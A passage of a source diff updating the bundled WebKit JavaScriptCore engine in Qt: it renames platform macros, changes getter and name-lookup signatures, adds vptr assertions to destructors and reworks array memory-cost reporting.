+            createIdentifierTableSpecific();
+        ThreadIdentifierTableData& data = **g_identifierTableSpecific;
+
+        IdentifierTable* oldIdentifierTable = data.currentIdentifierTable;
+        data.currentIdentifierTable = identifierTable;
+        return oldIdentifierTable;
+    }
+
+    inline void resetCurrentIdentifierTable()
+    {
+        if (!g_identifierTableSpecific)
+            createIdentifierTableSpecific();
+        ThreadIdentifierTableData& data = **g_identifierTableSpecific;
+
+        data.currentIdentifierTable = data.defaultIdentifierTable;
+    }
+
 } // namespace JSC
 
 #endif // Identifier_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/InitializeThreading.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/InitializeThreading.cpp
index fea89f8..2605a9a 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/InitializeThreading.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/InitializeThreading.cpp
@@ -41,7 +41,7 @@ using namespace WTF;
 
 namespace JSC {
 
-#if PLATFORM(DARWIN) && ENABLE(JSC_MULTIPLE_THREADS)
+#if OS(DARWIN) && ENABLE(JSC_MULTIPLE_THREADS)
 static pthread_once_t initializeThreadingKeyOnce = PTHREAD_ONCE_INIT;
 #endif
 
@@ -49,15 +49,16 @@ static void initializeThreadingOnce()
 {
     WTF::initializeThreading();
     initializeUString();
+    JSGlobalData::storeVPtrs();
 #if ENABLE(JSC_MULTIPLE_THREADS)
     s_dtoaP5Mutex = new Mutex;
-    WTF::initializeDates();
+    initializeDates();
 #endif
 }
 
 void initializeThreading()
 {
-#if PLATFORM(DARWIN) && ENABLE(JSC_MULTIPLE_THREADS)
+#if OS(DARWIN) && ENABLE(JSC_MULTIPLE_THREADS)
     pthread_once(&initializeThreadingKeyOnce, initializeThreadingOnce);
 #else
     static bool initializedThreading = false;
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/InternalFunction.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/InternalFunction.cpp
index 2ba2984..c48d628 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/InternalFunction.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/InternalFunction.cpp
@@ -43,29 +43,29 @@ InternalFunction::InternalFunction(JSGlobalData* globalData, NonNullPassRefPtr<S
     putDirect(globalData->propertyNames->name, jsString(globalData, name.ustring()), DontDelete | ReadOnly | DontEnum);
 }
 
-const UString& InternalFunction::name(JSGlobalData* globalData)
+const UString& InternalFunction::name(ExecState* exec)
 {
-    return asString(getDirect(globalData->propertyNames->name))->value();
+    return asString(getDirect(exec->globalData().propertyNames->name))->value(exec);
 }
 
-const UString InternalFunction::displayName(JSGlobalData* globalData)
+const UString InternalFunction::displayName(ExecState* exec)
 {
-    JSValue displayName = getDirect(globalData->propertyNames->displayName);
+    JSValue displayName = getDirect(exec->globalData().propertyNames->displayName);
     
-    if (displayName && isJSString(globalData, displayName))
-        return asString(displayName)->value();
+    if (displayName && isJSString(&exec->globalData(), displayName))
+        return asString(displayName)->value(exec);
     
     return UString::null();
 }
 
-const UString InternalFunction::calculatedDisplayName(JSGlobalData* globalData)
+const UString InternalFunction::calculatedDisplayName(ExecState* exec)
 {
-    const UString explicitName = displayName(globalData);
+    const UString explicitName = displayName(exec);
     
     if (!explicitName.isEmpty())
         return explicitName;
     
-    return name(globalData);
+    return name(exec);
 }
 
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/InternalFunction.h b/src/3rdparty/webkit/JavaScriptCore/runtime/InternalFunction.h
index de9a1d6..d19b82b 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/InternalFunction.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/InternalFunction.h
@@ -36,13 +36,13 @@ namespace JSC {
         virtual const ClassInfo* classInfo() const; 
         static JS_EXPORTDATA const ClassInfo info;
 
-        const UString& name(JSGlobalData*);
-        const UString displayName(JSGlobalData*);
-        const UString calculatedDisplayName(JSGlobalData*);
+        const UString& name(ExecState*);
+        const UString displayName(ExecState*);
+        const UString calculatedDisplayName(ExecState*);
 
         static PassRefPtr<Structure> createStructure(JSValue proto) 
         { 
-            return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+            return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
         }
 
     protected:
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSAPIValueWrapper.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSAPIValueWrapper.h
index aca550e..10ded4c 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSAPIValueWrapper.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSAPIValueWrapper.h
@@ -23,8 +23,6 @@
 #ifndef JSAPIValueWrapper_h
 #define JSAPIValueWrapper_h
 
-#include <wtf/Platform.h>
-
 #include "JSCell.h"
 #include "CallFrame.h"
 
@@ -39,7 +37,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(CompoundType, OverridesMarkChildren | OverridesGetPropertyNames));
+            return Structure::create(prototype, TypeInfo(CompoundType, OverridesMarkChildren | OverridesGetPropertyNames), AnonymousSlotCount);
         }
 
         
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSActivation.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/JSActivation.cpp
index 22fdaaf..85e8bba 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSActivation.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSActivation.cpp
@@ -139,9 +139,9 @@ bool JSActivation::isDynamicScope() const
     return d()->functionExecutable->usesEval();
 }
 
-JSValue JSActivation::argumentsGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue JSActivation::argumentsGetter(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSActivation* activation = asActivation(slot.slotBase());
+    JSActivation* activation = asActivation(slotBase);
 
     if (activation->d()->functionExecutable->usesArguments()) {
         PropertySlot slot;
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSActivation.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSActivation.h
index ee98191..91c960c 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSActivation.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSActivation.h
@@ -66,7 +66,7 @@ namespace JSC {
         virtual const ClassInfo* classInfo() const { return &info; }
         static const ClassInfo info;
 
-        static PassRefPtr<Structure> createStructure(JSValue proto) { return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); }
+        static PassRefPtr<Structure> createStructure(JSValue proto) { return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); }
 
     protected:
         static const unsigned StructureFlags = OverridesGetOwnPropertySlot | NeedsThisConversion | OverridesMarkChildren | OverridesGetPropertyNames | JSVariableObject::StructureFlags;
@@ -89,7 +89,7 @@ namespace JSC {
             RefPtr<FunctionExecutable> functionExecutable;
         };
         
-        static JSValue argumentsGetter(ExecState*, const Identifier&, const PropertySlot&);
+        static JSValue argumentsGetter(ExecState*, JSValue, const Identifier&);
         NEVER_INLINE PropertySlot::GetValueFunc getArgumentsGetter();
 
         JSActivationData* d() const { return static_cast<JSActivationData*>(JSVariableObject::d); }
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSArray.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/JSArray.cpp
index fd9e7b2..d3ef44c 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSArray.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSArray.cpp
@@ -151,7 +151,8 @@ JSArray::JSArray(NonNullPassRefPtr<Structure> structure, unsigned initialLength)
     m_vectorLength = initialCapacity;
     m_storage->m_numValuesInVector = 0;
     m_storage->m_sparseValueMap = 0;
-    m_storage->lazyCreationData = 0;
+    m_storage->subclassData = 0;
+    m_storage->reportedMapCapacity = 0;
 
     JSValue* vector = m_storage->m_vector;
     for (size_t i = 0; i < initialCapacity; ++i)
@@ -172,6 +173,8 @@ JSArray::JSArray(NonNullPassRefPtr<Structure> structure, const ArgList& list)
     m_vectorLength = initialCapacity;
     m_storage->m_numValuesInVector = initialCapacity;
     m_storage->m_sparseValueMap = 0;
+    m_storage->subclassData = 0;
+    m_storage->reportedMapCapacity = 0;
 
     size_t i = 0;
     ArgList::const_iterator end = list.end();
@@ -185,6 +188,7 @@ JSArray::JSArray(NonNullPassRefPtr<Structure> structure, const ArgList& list)
 
 JSArray::~JSArray()
 {
+    ASSERT(vptr() == JSGlobalData::jsArrayVPtr);
     checkConsistency(DestructorConsistencyCheck);
 
     delete m_storage->m_sparseValueMap;
@@ -328,13 +332,24 @@ NEVER_INLINE void JSArray::putSlowCase(ExecState* exec, unsigned i, JSValue valu
         }
 
         // We miss some cases where we could compact the storage, such as a large array that is being filled from the end
-        // (which will only be compacted as we reach indices that are less than cutoff) - but this makes the check much faster.
+        // (which will only be compacted as we reach indices that are less than MIN_SPARSE_ARRAY_INDEX) - but this makes the check much faster.
         if ((i > MAX_STORAGE_VECTOR_INDEX) || !isDenseEnoughForVector(i + 1, storage->m_numValuesInVector + 1)) {
             if (!map) {
                 map = new SparseArrayValueMap;
                 storage->m_sparseValueMap = map;
             }
-            map->set(i, value);
+
+            pair<SparseArrayValueMap::iterator, bool> result = map->add(i, value);
+            if (!result.second) { // pre-existing entry
+                result.first->second = value;
+                return;
+            }
+
+            size_t capacity = map->capacity();
+            if (capacity != storage->reportedMapCapacity) {
+                Heap::heap(this)->reportExtraMemoryCost((capacity - storage->reportedMapCapacity) * (sizeof(unsigned) + sizeof(JSValue)));
+                storage->reportedMapCapacity = capacity;
+            }
             return;
         }
     }
@@ -380,8 +395,6 @@ NEVER_INLINE void JSArray::putSlowCase(ExecState* exec, unsigned i, JSValue valu
 
     unsigned vectorLength = m_vectorLength;
 
-    Heap::heap(this)->reportExtraMemoryCost(storageSize(newVectorLength) - storageSize(vectorLength));
-
     if (newNumValuesInVector == storage->m_numValuesInVector + 1) {
         for (unsigned j = vectorLength; j < newVectorLength; ++j)
             storage->m_vector[j] = JSValue();
@@ -402,6 +415,8 @@ NEVER_INLINE void JSArray::putSlowCase(ExecState* exec, unsigned i, JSValue valu
     m_storage = storage;
 
     checkConsistency();
+
+    Heap::heap(this)->reportExtraMemoryCost(storageSize(newVectorLength) - storageSize(vectorLength));
 }
 
 bool JSArray::deleteProperty(ExecState* exec, const Identifier& propertyName)
@@ -454,7 +469,7 @@ bool JSArray::deleteProperty(ExecState* exec, unsigned i)
     return false;
 }
 
-void JSArray::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSArray::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     // FIXME: Filling PropertyNameArray with an identifier for every integer
     // is incredibly inefficient for large arrays. We need a different approach,
@@ -474,7 +489,10 @@ void JSArray::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNa
             propertyNames.add(Identifier::from(exec, it->first));
     }
 
-    JSObject::getOwnPropertyNames(exec, propertyNames);
+    if (mode == IncludeDontEnumProperties)
+        propertyNames.add(exec->propertyNames().length);
+
+    JSObject::getOwnPropertyNames(exec, propertyNames, mode);
 }
 
 bool JSArray::increaseVectorLength(unsigned newLength)
@@ -492,13 +510,15 @@ bool JSArray::increaseVectorLength(unsigned newLength)
     if (!tryFastRealloc(storage, storageSize(newVectorLength)).getValue(storage))
         return false;
 
-    Heap::heap(this)->reportExtraMemoryCost(storageSize(newVectorLength) - storageSize(vectorLength));
     m_vectorLength = newVectorLength;
 
     for (unsigned i = vectorLength; i < newVectorLength; ++i)
         storage->m_vector[i] = JSValue();
 
     m_storage = storage;
+
+    Heap::heap(this)->reportExtraMemoryCost(storageSize(newVectorLength) - storageSize(vectorLength));
+
     return true;
 }
 
@@ -785,7 +805,7 @@ struct AVLTreeAbstractorForArrayCompare {
             m_cachedCall->setThis(m_globalThisValue);
             m_cachedCall->setArgument(0, va);
             m_cachedCall->setArgument(1, vb);
-            compareResult = m_cachedCall->call().toNumber(m_cachedCall->newCallFrame());
+            compareResult = m_cachedCall->call().toNumber(m_cachedCall->newCallFrame(m_exec));
         } else {
             MarkedArgumentBuffer arguments;
             arguments.append(va);
@@ -1002,14 +1022,14 @@ unsigned JSArray::compactForSorting()
     return numDefined;
 }
 
-void* JSArray::lazyCreationData()
+void* JSArray::subclassData() const
 {
-    return m_storage->lazyCreationData;
+    return m_storage->subclassData;
 }
 
-void JSArray::setLazyCreationData(void* d)
+void JSArray::setSubclassData(void* d)
 {
-    m_storage->lazyCreationData = d;
+    m_storage->subclassData = d;
 }
 
 #if CHECK_ARRAY_CONSISTENCY
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSArray.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSArray.h
index 8c22451..f65f2bc 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSArray.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSArray.h
@@ -31,7 +31,8 @@ namespace JSC {
         unsigned m_length;
         unsigned m_numValuesInVector;
         SparseArrayValueMap* m_sparseValueMap;
-        void* lazyCreationData; // A JSArray subclass can use this to fill the vector lazily.
+        void* subclassData; // A JSArray subclass can use this to fill the vector lazily.
+        size_t reportedMapCapacity;
         JSValue m_vector[1];
     };
 
@@ -87,7 +88,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
         }
         
         inline void markChildrenDirect(MarkStack& markStack);
@@ -97,11 +98,11 @@ namespace JSC {
         virtual void put(ExecState*, const Identifier& propertyName, JSValue, PutPropertySlot&);
         virtual bool deleteProperty(ExecState*, const Identifier& propertyName);
         virtual bool deleteProperty(ExecState*, unsigned propertyName);
-        virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&);
+        virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&, EnumerationMode mode = ExcludeDontEnumProperties);
         virtual void markChildren(MarkStack&);
 
-        void* lazyCreationData();
-        void setLazyCreationData(void*);
+        void* subclassData() const;
+        void setSubclassData(void*);
 
     private:
         virtual const ClassInfo* classInfo() const { return &info; }
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSByteArray.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/JSByteArray.cpp
index 5e5003b..803a08c 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSByteArray.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSByteArray.cpp
@@ -42,10 +42,18 @@ JSByteArray::JSByteArray(ExecState* exec, NonNullPassRefPtr<Structure> structure
 {
     putDirect(exec->globalData().propertyNames->length, jsNumber(exec, m_storage->length()), ReadOnly | DontDelete);
 }
-    
+
+#if !ASSERT_DISABLED
+JSByteArray::~JSByteArray()
+{
+    ASSERT(vptr() == JSGlobalData::jsByteArrayVPtr);
+}
+#endif
+
+
 PassRefPtr<Structure> JSByteArray::createStructure(JSValue prototype)
 {
-    PassRefPtr<Structure> result = Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+    PassRefPtr<Structure> result = Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
     return result;
 }
 
@@ -96,12 +104,12 @@ void JSByteArray::put(ExecState* exec, unsigned propertyName, JSValue value)
     setIndex(exec, propertyName, value);
 }
 
-void JSByteArray::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSByteArray::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     unsigned length = m_storage->length();
     for (unsigned i = 0; i < length; ++i)
         propertyNames.add(Identifier::from(exec, i));
-    JSObject::getOwnPropertyNames(exec, propertyNames);
+    JSObject::getOwnPropertyNames(exec, propertyNames, mode);
 }
 
 }
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSByteArray.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSByteArray.h
index fe6e124..5b7adcf 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSByteArray.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSByteArray.h
@@ -33,7 +33,7 @@
 namespace JSC {
 
     class JSByteArray : public JSObject {
-        friend struct VPtrSet;
+        friend class JSGlobalData;
     public:
         bool canAccessIndex(unsigned i) { return i < m_storage->length(); }
         JSValue getIndex(ExecState* exec, unsigned i)
@@ -82,7 +82,7 @@ namespace JSC {
         virtual void put(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::JSValue, JSC::PutPropertySlot&);
         virtual void put(JSC::ExecState*, unsigned propertyName, JSC::JSValue);
 
-        virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
+        virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&, EnumerationMode mode = ExcludeDontEnumProperties);
 
         virtual const ClassInfo* classInfo() const { return m_classInfo; }
         static const ClassInfo s_defaultInfo;
@@ -91,6 +91,10 @@ namespace JSC {
 
         WTF::ByteArray* storage() const { return m_storage.get(); }
 
+#if !ASSERT_DISABLED
+        virtual ~JSByteArray();
+#endif
+
     protected:
         static const unsigned StructureFlags = OverridesGetOwnPropertySlot | OverridesGetPropertyNames | JSObject::StructureFlags;
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSCell.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/JSCell.cpp
index fae056e..869fbfc 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSCell.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSCell.cpp
@@ -59,10 +59,10 @@ static const union {
     } doubles;
     
 } NaNInf = { {
-#if PLATFORM(BIG_ENDIAN)
+#if CPU(BIG_ENDIAN)
     { 0x7f, 0xf8, 0, 0, 0, 0, 0, 0 },
     { 0x7f, 0xf0, 0, 0, 0, 0, 0, 0 }
-#elif PLATFORM(MIDDLE_ENDIAN)
+#elif CPU(MIDDLE_ENDIAN)
     { 0, 0, 0xf8, 0x7f, 0, 0, 0, 0 },
     { 0, 0, 0xf0, 0x7f, 0, 0, 0, 0 }
 #else
@@ -76,27 +76,22 @@ extern const double Inf = NaNInf.doubles.Inf_Double;
  
 #endif // !(defined NAN && defined INFINITY)
 
-void* JSCell::operator new(size_t size, ExecState* exec)
-{
-    return exec->heap()->allocate(size);
-}
-
 bool JSCell::getUInt32(uint32_t&) const
 {
     return false;
 }
 
-bool JSCell::getString(UString&stringValue) const
+bool JSCell::getString(ExecState* exec, UString&stringValue) const
 {
     if (!isString())
         return false;
-    stringValue = static_cast<const JSString*>(this)->value();
+    stringValue = static_cast<const JSString*>(this)->value(exec);
     return true;
 }
 
-UString JSCell::getString() const
+UString JSCell::getString(ExecState* exec) const
 {
-    return isString() ? static_cast<const JSString*>(this)->value() : UString();
+    return isString() ? static_cast<const JSString*>(this)->value(exec) : UString();
 }
 
 JSObject* JSCell::getObject()
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSCell.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSCell.h
index 722ae33..3c8c829 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSCell.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSCell.h
@@ -42,14 +42,19 @@ namespace JSC {
         friend class JSString;
         friend class JSValue;
         friend class JSAPIValueWrapper;
-        friend struct VPtrSet;
+        friend class JSZombie;
+        friend class JSGlobalData;
 
     private:
         explicit JSCell(Structure*);
-        JSCell(); // Only used for initializing Collector blocks.
         virtual ~JSCell();
 
     public:
+        static PassRefPtr<Structure> createDummyStructure()
+        {
+            return Structure::create(jsNull(), TypeInfo(UnspecifiedType), AnonymousSlotCount);
+        }
+
         // Querying the type.
 #if USE(JSVALUE32)
         bool isNumber() const;
@@ -64,8 +69,8 @@ namespace JSC {
         Structure* structure() const;
 
         // Extracting the value.
-        bool getString(UString&) const;
-        UString getString() const; // null string if not a string
+        bool getString(ExecState* exec, UString&) const;
+        UString getString(ExecState* exec) const; // null string if not a string
         JSObject* getObject(); // NULL if not an object
         const JSObject* getObject() const; // NULL if not an object
         
@@ -90,6 +95,9 @@ namespace JSC {
         void* operator new(size_t, void* placementNewDestination) { return placementNewDestination; }
 
         virtual void markChildren(MarkStack&);
+#if ENABLE(JSC_ZOMBIES)
+        virtual bool isZombie() const { return false; }
+#endif
 
         // Object operations, with the toObject operation included.
         virtual const ClassInfo* classInfo() const;
@@ -103,6 +111,10 @@ namespace JSC {
         virtual JSString* toThisJSString(ExecState*);
         virtual JSValue getJSNumber();
         void* vptr() { return *reinterpret_cast<void**>(this); }
+        void setVPtr(void* vptr) { *reinterpret_cast<void**>(this) = vptr; }
+
+    protected:
+        static const unsigned AnonymousSlotCount = 0;
 
     private:
         // Base implementation; for non-object classes implements getPropertySlot.
@@ -118,11 +130,6 @@ namespace JSC {
     {
     }
 
-    // Only used for initializing Collector blocks.
-    inline JSCell::JSCell()
-    {
-    }
-
     inline JSCell::~JSCell()
     {
     }
@@ -130,7 +137,7 @@ namespace JSC {
 #if USE(JSVALUE32)
     inline bool JSCell::isNumber() const
     {
-        return Heap::isNumber(const_cast<JSCell*>(this));
+        return m_structure->typeInfo().type() == NumberType;
     }
 #endif
 
@@ -158,6 +165,11 @@ namespace JSC {
         return globalData->heap.allocate(size);
     }
 
+    inline void* JSCell::operator new(size_t size, ExecState* exec)
+    {
+        return exec->heap()->allocate(size);
+    }
+
     // --- JSValue inlines ----------------------------
 
     inline bool JSValue::isString() const
@@ -175,14 +187,14 @@ namespace JSC {
         return isCell() && asCell()->isObject();
     }
 
-    inline bool JSValue::getString(UString& s) const
+    inline bool JSValue::getString(ExecState* exec, UString& s) const
     {
-        return isCell() && asCell()->getString(s);
+        return isCell() && asCell()->getString(exec, s);
     }
 
-    inline UString JSValue::getString() const
+    inline UString JSValue::getString(ExecState* exec) const
     {
-        return isCell() ? asCell()->getString() : UString();
+        return isCell() ? asCell()->getString(exec) : UString();
     }
 
     inline JSObject* JSValue::getObject() const
@@ -342,7 +354,13 @@ namespace JSC {
     {
         return cellBlock(c)->heap;
     }
-
+    
+#if ENABLE(JSC_ZOMBIES)
+    inline bool JSValue::isZombie() const
+    {
+        return isCell() && asCell() && asCell()->isZombie();
+    }
+#endif
 } // namespace JSC
 
 #endif // JSCell_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSFunction.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/JSFunction.cpp
index 024e586..cba6795 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSFunction.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSFunction.cpp
@@ -81,6 +81,8 @@ JSFunction::JSFunction(ExecState* exec, NonNullPassRefPtr<FunctionExecutable> ex
 
 JSFunction::~JSFunction()
 {
+    ASSERT(vptr() == JSGlobalData::jsFunctionVPtr);
+
     // JIT code for other functions may have had calls linked directly to the code for this function; these links
     // are based on a check for the this pointer value for this JSFunction - which will no longer be valid once
     // this memory is freed and may be reused (potentially for another, different JSFunction).
@@ -120,23 +122,23 @@ JSValue JSFunction::call(ExecState* exec, JSValue thisValue, const ArgList& args
     return exec->interpreter()->execute(jsExecutable(), exec, this, thisValue.toThisObject(exec), args, scopeChain().node(), exec->exceptionSlot());
 }
 
-JSValue JSFunction::argumentsGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue JSFunction::argumentsGetter(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSFunction* thisObj = asFunction(slot.slotBase());
+    JSFunction* thisObj = asFunction(slotBase);
     ASSERT(!thisObj->isHostFunction());
     return exec->interpreter()->retrieveArguments(exec, thisObj);
 }
 
-JSValue JSFunction::callerGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue JSFunction::callerGetter(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSFunction* thisObj = asFunction(slot.slotBase());
+    JSFunction* thisObj = asFunction(slotBase);
     ASSERT(!thisObj->isHostFunction());
     return exec->interpreter()->retrieveCaller(exec, thisObj);
 }
 
-JSValue JSFunction::lengthGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue JSFunction::lengthGetter(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSFunction* thisObj = asFunction(slot.slotBase());
+    JSFunction* thisObj = asFunction(slotBase);
     ASSERT(!thisObj->isHostFunction());
     return jsNumber(exec, thisObj->jsExecutable()->parameterCount());
 }
@@ -160,17 +162,17 @@ bool JSFunction::getOwnPropertySlot(ExecState* exec, const Identifier& propertyN
     }
 
     if (propertyName == exec->propertyNames().arguments) {
-        slot.setCustom(this, argumentsGetter);
+        slot.setCacheableCustom(this, argumentsGetter);
         return true;
     }
 
     if (propertyName == exec->propertyNames().length) {
-        slot.setCustom(this, lengthGetter);
+        slot.setCacheableCustom(this, lengthGetter);
         return true;
     }
 
     if (propertyName == exec->propertyNames().caller) {
-        slot.setCustom(this, callerGetter);
+        slot.setCacheableCustom(this, callerGetter);
         return true;
     }
 
@@ -206,6 +208,17 @@ bool JSFunction::getOwnPropertySlot(ExecState* exec, const Identifier& propertyN
         return Base::getOwnPropertyDescriptor(exec, propertyName, descriptor);
     }
     
+void JSFunction::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
+{
+    if (!isHostFunction() && (mode == IncludeDontEnumProperties)) {
+        propertyNames.add(exec->propertyNames().arguments);
+        propertyNames.add(exec->propertyNames().callee);
+        propertyNames.add(exec->propertyNames().caller);
+        propertyNames.add(exec->propertyNames().length);
+    }
+    Base::getOwnPropertyNames(exec, propertyNames, mode);
+}
+
 void JSFunction::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
 {
     if (isHostFunction()) {
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSFunction.h b/src/3rdparty/webkit/JavaScriptCore/runtime/JSFunction.h
index fcac9aa..afa24a8 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSFunction.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSFunction.h
@@ -36,7 +36,7 @@ namespace JSC {
 
     class JSFunction : public InternalFunction {
         friend class JIT;
-        friend struct VPtrSet;
+        friend class JSGlobalData;
 
         typedef InternalFunction Base;
 
@@ -61,7 +61,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype) 
         { 
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags)); 
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
         }
 
         NativeFunction nativeFunction()
@@ -82,6 +82,7 @@ namespace JSC {
 
         virtual bool getOwnPropertySlot(ExecState*, const Identifier&, PropertySlot&);
         virtual bool getOwnPropertyDescriptor(ExecState*, const Identifier&, PropertyDescriptor&);
+        virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&, EnumerationMode mode = ExcludeDontEnumProperties);
         virtual void put(ExecState*, const Identifier& propertyName, JSValue, PutPropertySlot&);
         virtual bool deleteProperty(ExecState*, const Identifier& propertyName);
 
@@ -89,9 +90,9 @@ namespace JSC {
 
         virtual const ClassInfo* classInfo() const { return &info; }
 
-        static JSValue argumentsGetter(ExecState*, const Identifier&, const PropertySlot&);
-        static JSValue callerGetter(ExecState*, const Identifier&, const PropertySlot&);
-        static JSValue lengthGetter(ExecState*, const Identifier&, const PropertySlot&);
+        static JSValue argumentsGetter(ExecState*, JSValue, const Identifier&);
+        static JSValue callerGetter(ExecState*, JSValue, const Identifier&);
+        static JSValue lengthGetter(ExecState*, JSValue, const Identifier&);
 
         RefPtr<ExecutableBase> m_executable;
         ScopeChain& scopeChain()
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalData.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalData.cpp
index 1221ef2..45abc86 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalData.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/JSGlobalData.cpp
@@ -45,10 +45,10 @@
 #include "JSNotAnObject.h"
 #include "JSPropertyNameIterator.h"
 #include "JSStaticScopeObject.h"
-#include "Parser.h"
 #include "Lexer.h"
 #include "Lookup.h"
 #include "Nodes.h"
+#include "Parser.h"
 
 #if ENABLE(JSC_MULTIPLE_THREADS)
 #include <wtf/Threading.h>
@@ -71,40 +71,38 @@ extern JSC_CONST_HASHTABLE HashTable regExpTable;
 extern JSC_CONST_HASHTABLE HashTable regExpConstructorTable;
 extern JSC_CONST_HASHTABLE HashTable stringTable;
 
-struct VPtrSet {
-    VPtrSet();
-
-    void* jsArrayVPtr;
-    void* jsByteArrayVPtr;
-    void* jsStringVPtr;
-    void* jsFunctionVPtr;
-};
+void* JSGlobalData::jsArrayVPtr;
+void* JSGlobalData::jsByteArrayVPtr;
+void* JSGlobalData::jsStringVPtr;
+void* JSGlobalData::jsFunctionVPtr;
 
-VPtrSet::VPtrSet()
+void JSGlobalData::storeVPtrs()
 {
-    // Bizarrely, calling fastMalloc here is faster than allocating space on the stack.
-    void* storage = fastMalloc(sizeof(CollectorBlock));
+    CollectorCell cell;
+    void* storage = &cell;
 
+    COMPILE_ASSERT(sizeof(JSArray) <= sizeof(CollectorCell), sizeof_JSArray_must_be_less_than_CollectorCell);
     JSCell* jsArray = new (storage) JSArray(JSArray::createStructure(jsNull()));
-    jsArrayVPtr = jsArray->vptr();
